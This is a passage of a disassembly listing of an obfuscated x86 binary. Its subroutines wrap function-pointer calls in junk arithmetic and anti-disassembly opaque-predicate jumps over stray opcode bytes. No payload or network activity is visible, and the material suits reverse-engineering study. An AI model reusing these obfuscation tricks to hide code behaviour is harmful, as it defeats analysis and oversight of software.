		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_4A0BAB
		jl	short loc_4A0BA9


loc_4A0BA4:				; CODE XREF: sub_4A0AF6:loc_4A0BA9j
					; sub_4A0AF6:loc_4A0BABj
		jmp	short loc_4A0BAD
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_4A0BA9:				; CODE XREF: sub_4A0AF6+ACj
		jz	short loc_4A0BA4


loc_4A0BAB:				; CODE XREF: sub_4A0AF6+AAj
		jmp	short loc_4A0BA4
; ---------------------------------------------------------------------------


loc_4A0BAD:				; CODE XREF: sub_4A0AF6:loc_4A0BA4j
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3A8
		xor	ecx, dword_4ED3AC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A0BD1
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A0BD1:				; CODE XREF: sub_4A0AF6+D0j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D00
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A0AF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A0BE5	proc near		; DATA XREF: sub_4965D8+1515o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D84
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, [ebp+arg_4]
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		dec	bh
		ja	short $+2
		dec	bh
		dec	bh
		dec	bh
		and	eax, 41h
		bswap	ecx
		and	eax, 0
		jno	short $+2
		mov	bl, 85h
		sub	bl, 20h
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		inc	eax
		dec	bl
		dec	bl
		dec	bl
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B4
		xor	ecx, dword_4ED3B8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A0C61
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A0C61:				; CODE XREF: sub_4A0BE5+71j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D0C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A0BE5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A0C75	proc near		; DATA XREF: sub_4965D8+97Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D88
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, 4
		bswap	eax
		not	eax
		pop	eax
		push	edx
		mov	dh, 80h
		mov	dh, 0
		inc	dh
		mov	ecx, ecx
		inc	dh
		inc	dh
		inc	dh
		inc	dh
		push	ebx
		inc	dh
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 800h
		xchg	eax, ecx
		mov	ecx, 40h
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		inc	dh
		inc	dh
		and	ebx, 800h
		inc	dh
		inc	dh
		inc	dh
		inc	dh
		and	ebx, 10h
		inc	dh
		inc	dh
		pop	ebx
		sub	dh, 0Dh
		dec	dh
		and	ah, dh
		mov	dl, 5
		sub	dl, 0FFh
		dec	dl
		dec	dl
		dec	dl
		sub	dl, 0FFh
		dec	dl
		dec	dl
		dec	dl
		and	al, dl
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B8
		xor	ecx, dword_4ED3BC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A0D25
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A0D25:				; CODE XREF: sub_4A0C75+A5j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D10
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A0C75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A0D39	proc near		; DATA XREF: sub_4965D8+11FCo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 87h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		and	eax, 0
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		dec	bl
		inc	eax
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED414
		xor	ecx, dword_4ED418
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A0DC0
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A0DC0:				; CODE XREF: sub_4A0D39+7Cj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D6C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A0D39	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A0DD4	proc near		; DATA XREF: sub_4965D8+C7Fo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_4A0DF9
		jl	short loc_4A0DF7


loc_4A0DF4:				; CODE XREF: sub_4A0DD4:loc_4A0DF7j
					; sub_4A0DD4:loc_4A0DF9j
		jmp	short loc_4A0DFB
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4A0DF7:				; CODE XREF: sub_4A0DD4+1Ej
		jz	short loc_4A0DF4


loc_4A0DF9:				; CODE XREF: sub_4A0DD4+1Cj
		jmp	short loc_4A0DF4
; ---------------------------------------------------------------------------


loc_4A0DFB:				; CODE XREF: sub_4A0DD4:loc_4A0DF4j
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 74h
		sub	cl, 8
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		jo	short loc_4A0E76
		jl	short loc_4A0E74


loc_4A0E71:				; CODE XREF: sub_4A0DD4:loc_4A0E74j
					; sub_4A0DD4:loc_4A0E76j
		jmp	short loc_4A0E78
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_4A0E74:				; CODE XREF: sub_4A0DD4+9Bj
		jz	short loc_4A0E71


loc_4A0E76:				; CODE XREF: sub_4A0DD4+99j
		jmp	short loc_4A0E71
; ---------------------------------------------------------------------------


loc_4A0E78:				; CODE XREF: sub_4A0DD4:loc_4A0E71j
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F0
		xor	ecx, dword_4ED3F4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A0EA7
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A0EA7:				; CODE XREF: sub_4A0DD4+C8j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D48
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A0DD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A0EBB	proc near		; DATA XREF: sub_4965D8+B85o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D98
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 4Bh
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		add	ecx, 3
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C8
		xor	ecx, dword_4ED3CC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A0F5B
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A0F5B:				; CODE XREF: sub_4A0EBB+95j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D20
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A0EBB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A0F6F	proc near		; DATA XREF: sub_4965D8+789o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DE0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	dh, 2
		dec	dh
		dec	dh
		and	ah, dh
		mov	dl, 0Eh
		sub	dl, 0FFh
		jo	short loc_4A0FA2
		jl	short loc_4A0FA0


loc_4A0F9D:				; CODE XREF: sub_4A0F6F:loc_4A0FA0j
					; sub_4A0F6F:loc_4A0FA2j
		jmp	short loc_4A0FA4
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4A0FA0:				; CODE XREF: sub_4A0F6F+2Cj
		jz	short loc_4A0F9D


loc_4A0FA2:				; CODE XREF: sub_4A0F6F+2Aj
		jmp	short loc_4A0F9D
; ---------------------------------------------------------------------------


loc_4A0FA4:				; CODE XREF: sub_4A0F6F:loc_4A0F9Dj
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 0Ah
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 5
		dec	dl
		jo	short loc_4A0FC1
		jl	short loc_4A0FBF


loc_4A0FBC:				; CODE XREF: sub_4A0F6F:loc_4A0FBFj
					; sub_4A0F6F:loc_4A0FC1j
		jmp	short loc_4A0FC3
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4A0FBF:				; CODE XREF: sub_4A0F6F+4Bj
		jz	short loc_4A0FBC


loc_4A0FC1:				; CODE XREF: sub_4A0F6F+49j
		jmp	short loc_4A0FBC
; ---------------------------------------------------------------------------


loc_4A0FC3:				; CODE XREF: sub_4A0F6F:loc_4A0FBCj
		dec	dl
		dec	dl
		sub	dl, 3
		sub	dl, 0FFh
		dec	dl
		inc	dl
		inc	dl
		inc	dl
		jo	short loc_4A0FDE
		jl	short loc_4A0FDC


loc_4A0FD9:				; CODE XREF: sub_4A0F6F:loc_4A0FDCj
					; sub_4A0F6F:loc_4A0FDEj
		jmp	short loc_4A0FE0
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4A0FDC:				; CODE XREF: sub_4A0F6F+68j
		jz	short loc_4A0FD9


loc_4A0FDE:				; CODE XREF: sub_4A0F6F+66j
		jmp	short loc_4A0FD9
; ---------------------------------------------------------------------------


loc_4A0FE0:				; CODE XREF: sub_4A0F6F:loc_4A0FD9j
		and	al, dl
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED410
		xor	ecx, dword_4ED414
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A1006
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A1006:				; CODE XREF: sub_4A0F6F+8Cj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D68
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A0F6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A101A	proc near		; DATA XREF: sub_4965D8+13EFo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D7C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 4Bh
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		add	ecx, 3
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0E00h
		sub	dh, 1
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		setz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3AC
		xor	ecx, dword_4ED3B0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A10D3
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A10D3:				; CODE XREF: sub_4A101A+AEj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D04
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A101A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A10E7	proc near		; DATA XREF: sub_4965D8+B6Fo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D94
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, [ebp+arg_4]
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		dec	bh
		ja	short $+2
		dec	bh
		dec	bh
		dec	bh
		and	eax, 41h
		bswap	ecx
		jo	short loc_4A1128
		jl	short loc_4A1126


loc_4A1123:				; CODE XREF: sub_4A10E7:loc_4A1126j
					; sub_4A10E7:loc_4A1128j
		jmp	short loc_4A112A
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4A1126:				; CODE XREF: sub_4A10E7+3Aj
		jz	short loc_4A1123


loc_4A1128:				; CODE XREF: sub_4A10E7+38j
		jmp	short loc_4A1123
; ---------------------------------------------------------------------------


loc_4A112A:				; CODE XREF: sub_4A10E7:loc_4A1123j
		and	eax, 0
		jno	short $+2
		mov	bl, 85h
		sub	bl, 20h
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		jo	short loc_4A114C
		jl	short loc_4A114A


loc_4A1147:				; CODE XREF: sub_4A10E7:loc_4A114Aj
					; sub_4A10E7:loc_4A114Cj
		jmp	short loc_4A114E
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4A114A:				; CODE XREF: sub_4A10E7+5Ej
		jz	short loc_4A1147


loc_4A114C:				; CODE XREF: sub_4A10E7+5Cj
		jmp	short loc_4A1147
; ---------------------------------------------------------------------------


loc_4A114E:				; CODE XREF: sub_4A10E7:loc_4A1147j
		inc	eax
		dec	bl
		dec	bl
		dec	bl
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C4
		xor	ecx, dword_4ED3C8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A1179
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A1179:				; CODE XREF: sub_4A10E7+87j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D1C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A10E7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A118D	proc near		; DATA XREF: sub_4965D8+F3Do

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_4A11B2
		jl	short loc_4A11B0


loc_4A11AD:				; CODE XREF: sub_4A118D:loc_4A11B0j
					; sub_4A118D:loc_4A11B2j
		jmp	short loc_4A11B4
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4A11B0:				; CODE XREF: sub_4A118D+1Ej
		jz	short loc_4A11AD


loc_4A11B2:				; CODE XREF: sub_4A118D+1Cj
		jmp	short loc_4A11AD
; ---------------------------------------------------------------------------


loc_4A11B4:				; CODE XREF: sub_4A118D:loc_4A11ADj
		push	edx
		mov	dh, 2
		jo	short loc_4A11C0
		jl	short loc_4A11BE


loc_4A11BB:				; CODE XREF: sub_4A118D:loc_4A11BEj
					; sub_4A118D:loc_4A11C0j
		jmp	short loc_4A11C2
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4A11BE:				; CODE XREF: sub_4A118D+2Cj
		jz	short loc_4A11BB


loc_4A11C0:				; CODE XREF: sub_4A118D+2Aj
		jmp	short loc_4A11BB
; ---------------------------------------------------------------------------


loc_4A11C2:				; CODE XREF: sub_4A118D:loc_4A11BBj
		dec	dh
		dec	dh
		and	ah, dh
		mov	dl, 1
		and	al, dl
		not	ah
		not	ah
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E4
		xor	ecx, dword_4ED3E8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A11F9
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A11F9:				; CODE XREF: sub_4A118D+61j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D3C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A118D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A120D	proc near		; DATA XREF: sub_4965D8+AD0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DD0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 80h
		xchg	eax, ecx
		mov	ecx, 1
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		push	edx
		mov	dh, 16h
		sub	dh, 6
		not	ecx
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		bswap	eax
		dec	dh
		dec	dh
		sub	dh, 5
		sub	dh, 3
		dec	dh
		dec	dh
		bswap	eax
		and	ah, dh
		mov	dl, 9
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		not	ecx
		dec	dl
		dec	dl
		dec	dl
		inc	dl
		dec	dl
		inc	dl
		dec	dl
		inc	dl
		inc	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		add	dl, 1
		and	al, dl
		not	ah
		bswap	eax
		bswap	eax
		not	ah
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED400
		xor	ecx, dword_4ED404
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A12C3
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A12C3:				; CODE XREF: sub_4A120D+ABj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D58
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A12D7	proc near		; DATA XREF: sub_4965D8+137Do

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 80h
		jmp	short loc_4A1300
; ---------------------------------------------------------------------------
		mov	ebx, 4


loc_4A1300:				; CODE XREF: sub_4A12D7+22j
		mov	ebx, 32h
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		add	ebx, 8
		dec	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		inc	ebx
		pop	ecx
		bswap	eax
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F0
		xor	ecx, dword_4ED3F4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A134A
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_4A134A:				; CODE XREF: sub_4A12D7+68j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D48
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4A12D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4A135E	proc near		; DATA XREF: sub_4965D8+10D5o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		jo	short loc_4A13C1
		jl	short loc_4A13BF


loc_4A13BC:				; CODE XREF: sub_4A135E:loc_4A13BFj
					; sub_4A135E:loc_4A13C1j
		jmp	short loc_4A13C3
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4A13BF:				; CODE XREF: sub_4A135E+5Cj
		jz	short loc_4A13BC


loc_4A13C1:				; CODE XREF: sub_4A135E+5Aj
		jmp	short loc_4A13BC
; ---------------------------------------------------------------------------


loc_4A13C3:				; CODE XREF: sub_4A135E:loc_4A13BCj
		dec	cl
		and	eax, 40h
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 800h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		pop	ebx
		test	eax, eax
		jnz	loc_4A149E
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 8
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	edi
		inc	esi
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		push	4
		pop	ecx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		and	al, cl
		mov	bh, 0Fh
		and	bl, 0
		dec	bh
		sub	bh, 3
		dec	bh
		sub	bh, 1
		dec	bh
		and	ah, bh
		pop	ecx
		pop	ebx
		test	eax, eax
		jz	short loc_4A1489
		not	eax
		add	eax, 1
		stc
		jmp	short loc_4A148F
; ---------------------------------------------------------------------------


loc_4A1489:				; CODE XREF: sub_4A135E+121j
		not	eax
		add	eax, 1
		clc


loc_4A148F:				; CODE XREF: sub_4A135E+129j
		sbb	eax, eax
		add	eax, 1
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_4A149E
		and	eax, 0
		jmp	short loc_4A14A2
; ---------------------------------------------------------------------------


loc_4A149E:				; CODE XREF: sub_4A135E+90j
					; sub_4A135E+139j
		and	eax, 0
		inc	eax


loc_4A14A2:				; CODE XREF: sub_4A135E+13Ej
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F8
		xor	ecx, dword_4ED3FC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4A14C5
		mov	edx, [ebp+var_8]
